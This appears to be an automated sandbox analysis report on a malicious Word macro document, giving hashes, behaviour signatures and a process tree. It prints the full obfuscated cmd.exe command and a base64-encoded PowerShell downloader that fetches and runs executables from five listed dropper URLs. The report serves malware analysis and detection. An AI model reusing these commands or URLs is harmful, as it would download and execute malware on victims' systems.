Overview

overview

10

Static

static

8

90f1c843da...18.doc

windows7-x64

10

90f1c843da...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03-06-2024 07:24

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General

  • Target

    90f1c843da72e08351042e2d696fa7b7_JaffaCakes118.doc

  • Size

    81KB

  • MD5

    90f1c843da72e08351042e2d696fa7b7

  • SHA1

    ccad8c70384aebd24b7944192c3fedff8c1c8e59

  • SHA256

    4f73d7c59c7f1373e99d93cc4ba0babbe1fcc366269c427753b4a431ad97af8a

  • SHA512

    8b29e6cf1e476146f5bfcc2d61cecfa35d500d2258ebcc753fca899279e6d38942d936d6073bcb5416819da9c84050cbf764f985319858e0dd32ea3e4bae6b82

  • SSDEEP

    1536:SptJlmrJpmxlRw99NBk+aHTU4rTDUdUNAMeWT:Ote2dw99fJ4r3UdqAMe

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://blog.bctianfu.cn/4
exe.dropper

http://mail.vcacademy.lk/5nLo
exe.dropper

http://lamemoria.in/2ib2Pt
exe.dropper

http://tropicalislandrealtyofflorida.com/NNqM7W
exe.dropper

http://businessarbitr.ru/E

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\90f1c843da72e08351042e2d696fa7b7_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2176
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /v^:^ON^ ^ /c" ^Se^T ^ A^K=A^ACA^gAA^I^A^ACA^gA^A^I^A^AC^A^gAAIA^ACAg^A^AI^A^ACA^gAA^I^A^ACAgAQfA0^H^A7^BA^a^AMG^A0^BQ^Y^AM^GA9^B^w^O^As^GAh^B^QZ^A^I^HAiBwOAc^EAC^B^A^aA^QC^A^g^A^QbA^UG^A^0B^QSA^0CAlBwaA8GA^2B^gb^AkEA^7A^QKAc^E^AC^B^A^a^AQC^A^gAALAU^EAjBw^Q^A^QC^A^oAQZA^wG^A^p^BgR^AQG^Ah^Bwb^AwGAu^B^w^d^A8^G^AE^B^g^L^AE^F^A^zBgQAQCA7^BQ^e^AI^H^A0^Bwe^A^kC^AV^BAcAk^GA^kA^A^IA^4^GAp^B^AI^AU^E^A^jB^w^QA^QC^A^o^A^AaA^MG^A^hB^Q^Z^AIHAv^BgZA^s^DAn^A^QZ^A^g^H^A^lB^g^LAcC^Ar^A^QdAsGAH^BA^JAsC^AnA^A^X^AcCAr^Aw^Y^A^kG^A^sB^gY^AUHA^w^BgO^A^Y^H^A^u^B^Q^Z^A^QC^A^9A^wRA^IEA^oB^A^JAsD^AnAwNAAD^A3^AwJAACA9^AA^IA^U^H^ArBwRA^QCA^7A^QK^AcCA^ABwJA^gCA^0BQaA^wGAw^B^w^U^A4C^AnA^QR^A^8C^A1^Bgc^A^4C^A^yB^A^d^Ak^GA^i^B^gc^A^E^GAzBwc^A^UGAu^BQ^aAM^H^A^1^Bg^Y^A^8CAv^A^g^O^AAHA^0BA^d^A^gG^A^AB^wV^AcD^AN^BQcA^4E^AOBw^L^A0GAv^BwY^A4CAhB^AZA^kGAyBwbAw^G^A^mB^gZ^A8GA^5B^AdA^wGAhBQ^Z^AIH^Ak^Bgb^A^EG^As^BwcAkG^As^B^QY^AMG^ApBAc^A^8G^AyBAdA8CAvA^g^OA^AH^A0^B^A^dAgG^AA^B^A^dAA^FAyA^g^YA^k^GA^y^A^wL^A^4^G^A^pB^gLA^E^GAp^B^gcA8^G^A^tB^Q^Z^A0^GAhBAbA8CAvA^gOAAHA0BA^dA^g^G^A^A^B^wbAw^E^A^u^BQN^A^8CArBAb^A^4CA^5^BQ^b^AU^GA^kBQY^A^MGA^h^B^wY^AYH^Au^AAb^A^k^G^AhB^QbA^8C^Av^AgO^A^AH^A0BA^d^A^gGA^A^B^ANA^8CA^u^BwYA4C^A1B^g^Z^A^4^G^Ah^B^Q^aA^QHA^jBg^YA^4CAn^Bwb^AwG^AiB^w^LA^8C^A^6AAcA^QH^A0^BAa^AcCA9A^QVAA^H^A^p^BAJA^sDA0^BgbA^UGA^p^B^AbA^M^E^AiBQZ^Ac^F^AuAAd^A^U^G^A^O^BAI^A^Q^HAjB^QZAoGA^i^B^w^bA0C^A3B^Q^Z^A4GA9A^QUAMHAC^B^AJ^ ^e- lle^h^sr^ewop&& ^F^oR /^L %^9 ^iN (^ ^ ^ ^965^ ^, ^ ^ -1 ,^ ^ ^0) ^dO ^S^Et G^Fr^1=!G^Fr^1!!A^K:~ %^9, 1!& ^i^F %^9 LsS ^1 cA^l^L %G^Fr^1:^~-^966% "
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -e JABCAHMAUQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAHAAVQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AYgBjAHQAaQBhAG4AZgB1AC4AYwBuAC8ANABAAGgAdAB0AHAAOgAvAC8AbQBhAGkAbAAuAHYAYwBhAGMAYQBkAGUAbQB5AC4AbABrAC8ANQBuAEwAbwBAAGgAdAB0AHAAOgAvAC8AbABhAG0AZQBtAG8AcgBpAGEALgBpAG4ALwAyAGkAYgAyAFAAdABAAGgAdAB0AHAAOgAvAC8AdAByAG8AcABpAGMAYQBsAGkAcwBsAGEAbgBkAHIAZQBhAGwAdAB5AG8AZgBmAGwAbwByAGkAZABhAC4AYwBvAG0ALwBOAE4AcQBNADcAVwBAAGgAdAB0AHAAOgAvAC8AYgB1AHMAaQBuAGUAcwBzAGEAcgBiAGkAdAByAC4AcgB1AC8ARQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQARwBrAHUAIAA9ACAAJwA3ADAANwAnADsAJABoAEIARwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABHAGsAdQArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwBjAEUAIABpAG4AIAAkAGkAcABVACkAewB0AHIAeQB7ACQAQgBzAFEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAQwBjAEUALAAgACQAaABCAEcAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAaABCAEcAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3004

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      187c43345807fc53902abf903e066c75

      SHA1

      ef14e3e2ae98158beb355a72b4c318a3dd4c4fa1

      SHA256

      468ee33a5f568a75ef493181b5640c99654ab2eec96e11b1b786f6257a331c4f

      SHA512

      81a4c7795c8656709b59821c75553b73c5c318edfba662e7aa4f6a27b9ad4a0f1152cb6097c8a487eab728a0ab469c0aa72711472ad923304a347f3ca9daf240

      Download Submit

    • memory/1676-41-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1676-2-0x0000000070FAD000-0x0000000070FB8000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1676-39-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1676-29-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1676-42-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1676-0-0x000000002F0C1000-0x000000002F0C2000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1676-40-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1676-50-0x0000000070FAD000-0x0000000070FB8000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1676-51-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/1676-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1676-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1676-67-0x0000000070FAD000-0x0000000070FB8000-memory.dmp

      Filesize

      44KB

      Download